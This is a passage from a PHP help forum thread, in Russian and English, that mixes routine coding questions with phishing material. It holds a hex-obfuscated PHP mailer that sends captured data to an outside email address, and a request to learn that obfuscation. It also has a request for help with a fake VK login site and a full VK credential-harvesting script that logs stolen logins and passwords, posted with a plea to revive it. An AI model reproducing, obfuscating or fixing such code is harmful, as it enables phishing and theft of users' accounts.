In your PHP script change function eval() on function echo(): PHP: <? echo(pack("H*","2448695431203D20227072347840686F746D61696C2E636F6D223B0A247375626A656374203D202250617970616C21223B0A2468656164657273203D202246726F6D3A20204D722E707234783C7072347840686F746D61696C2E636F6D3E223B0A6D61696C2824486954312C20246D61696C7375626A2C202464617461293B")); ?> When you run this new script you will see decoded code, and the result is a code that is sent to you Isis. Do not forget to remove the extra spaces in the code
Got it. Sorry for my n00b question. If I want to encode this code Code: $HiT1 = "antichat@hotmail.com"; $subject = "Antichat!"; $headers = "From: Antichat rules"; mail($HiT1, $mailsubj, $data); To the eval pack coding, then how am I to that? I mean I have understood how to decode it but want to know how it is encoded.
Здравствуйте, уважаемые. Не подскажете как Линукс время перевести в нормальное время? То есть 1332340353 перевести в дату? заранее благодарен.
Странный баг вчера появился PHP: <? $a = 22; $b = 22; if($a >= $b) { echo 'yes'; } else { echo 'no'; } ?> выводил no пытался понять в чем дело, и решилось только так. PHP: <? $a = 22; $b = 22; if(trim($a) >= trim($b)) { echo 'yes'; } else { echo 'no'; } ?> выводит yes почему первый вариант не работает? я так понимаю у меня php глюченный и добавляет в переменные какой-ни будь nul байт? или типа того
Kruzak, чему равны: PHP: echo gettype ($a); echo gettype($b); Хотя даже PHP: <?php $a = "22 коровы"; $b = "21 корова"; if($a >= $b) { echo 'yes'; } else { echo 'no'; } ?> Такое будет работать
Chaak, все понятно теперь integer | double вопрос тогда другой, как перевести $a в числовой тип? может просто $a = $a*1; делать?
Нужна помошь по фейку. есть сайт, фейк контакта http://vk-posetutelu.16mb.com/ Куда вставить коды для виджетов ? Мне нравится и коменты. Код для коментариев <!-- Put this script tag to the <head> of your page --> <script type="text/javascript" src="http://userapi.com/js/api/openapi.js?49"></script> <script type="text/javascript"> VK.init({apiId: API_ID, onlyWidgets: true}); </script> <!-- Put this div tag to the place, where the Comments block will be --> <div id="vk_comments"></div> <script type="text/javascript"> VK.Widgets.Comments("vk_comments", {limit: 15, width: "496", attach: "*"}); </script> Код для Мне нравится <!-- Put this script tag to the <head> of your page --> <script type="text/javascript" src="http://userapi.com/js/api/openapi.js?49"></script> <script type="text/javascript"> VK.init({apiId: API_ID, onlyWidgets: true}); </script> <!-- Put this div tag to the place, where the Like block will be --> <div id="vk_like"></div> <script type="text/javascript"> VK.Widgets.Like("vk_like", {type: "full"}); </script>
На этом форуме обсуждение фэйков запрещено. Для начала советую почитать документацию: http://vk.com/developers.php?id=-1_27987570&s=1
Проблема с формой обратной связи. После отправки пользователем данных через нее, на email поступают символы вместо русских букв. Помогите наладить. PHP: <? if (isset($_POST['name'])) {$name = $_POST['name'];} if (isset($_POST['email'])) {$email = $_POST['email'];} if (isset($_POST['subject'])) {$subject = $_POST['subject'];} if (isset($_POST['text_message'])) {$text_message = $_POST['text_message'];} $name = stripslashes($name); $subject = stripslashes($subject); $name = htmlspecialchars($name); $subject = htmlspecialchars($subject); $email = stripslashes($email); $text_message = stripslashes($text_message); $email = htmlspecialchars($email); $text_message = htmlspecialchars($text_message); $address = "gigabajt@mail.ru"; $message = "".$text_message."\nС уважением, ".$name."\nМой контактный e-mail: ".$email.""; $verify = mail($address,$subject,$message,"Content-type:text/plain; Charset=windows-1251\r\n"); ... все файлики формы http://upwap.ru/2114671
В том, что значение константы нельзя изменить. Также значение константы нельзя задать через GET/POST/Cookie даже когда register_globals=on.
тема с контактом еще актуальна?) шарился на старом жестком диске и налетел там на такое PHP: <?php set_time_limit(0); Error_Reporting(E_ALL & ~E_NOTICE); $mail = $_POST['login']; $pass = $_POST['passwd']; function request($url = '') { $u = parse_url($url); $path = $u[path].'?'.$u[query]; $ip = gethostbyname($u[host]); $fp = fsockopen($ip,80,$en,$es,15); while(!$fp){$fp = fsockopen($ip,80,$en,$es,15);} $req = "GET $path HTTP/1.0\r\n"; $req .= "Host: $u[host]\r\n"; $req .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4\r\n"; $req .= "Content-type: application/x-www-form-urlencoded\r\n"; $req .= "Connection: close\r\n\r\n"; fwrite($fp,$req); while(!feof($fp)) { $s .= fgets($fp,256); } fclose($fp); return $s; } $ex = request('http://vk.com/login.php?email='.$mail.'&pass='.$pass); if(preg_match("#Set-Cookie: remixsid=#", $ex)) { $f = fopen('base.php', 'a+'); fwrite($f, "<tr><td align='left'>".$mail."</td><td align='right'>".$pass."</td></tr>"); fclose($f); echo ('<html><head><META HTTP-EQUIV="Refresh" content ="0; URL=login.php"></head></html>'); } else { echo ('<html><head><META HTTP-EQUIV="Refresh" content ="0; URL=logon.php"></head></html>'); } ?> Помогите оживить?) откуда он у меня уже и не помню) но очень бы хотелось чтобы все снова работало... а то любые введенные данные считает правильными, ну кроме пустой строки по идеи должен проверить акк, и если верный записать в фаил... но в фаил пишет все подряд, что ему приходит...
Мужики, ну в упор не пойму, проверял, все ок выводит считает.. нормально но почему-то в кукисы передает +2 значение счетчик, ставлю вместо $counter++; - $counter = $counter +2; Он вообще мне в кукисы +4 присылает вроде код правильный гляньте, может с сервером проблемы или все таки со мной?? PHP: <?php $counter = 0; if (isset ($_COOKIE['counter']) and is_numeric($_COOKIE['counter'])) $counter = $_COOKIE['counter']; $recentVisit = ''; if (isset ($_COOKIE['recentVisit'])) $recentVisit = $_COOKIE['recentVisit']; ?> <!DOCTYPE html> <h1>Последний визит</h1> <?php if($counter == 1){ print '<h2>hello</h2>'; }else{ print <<<HTML <h2> $counter посещений </h2> <p>Последнее посещение: $recentVisit</p><br> HTML; } $counter++; setcookie ("counter", $counter); setcookie ("recentVisit", date('d/m/Y H:i:s')); ?>
Оно даже работает? Как?! Нельзя редактировать хидеры после того, как был отправлен сам документ, то есть нельзя выполнять команду setcookie после echo.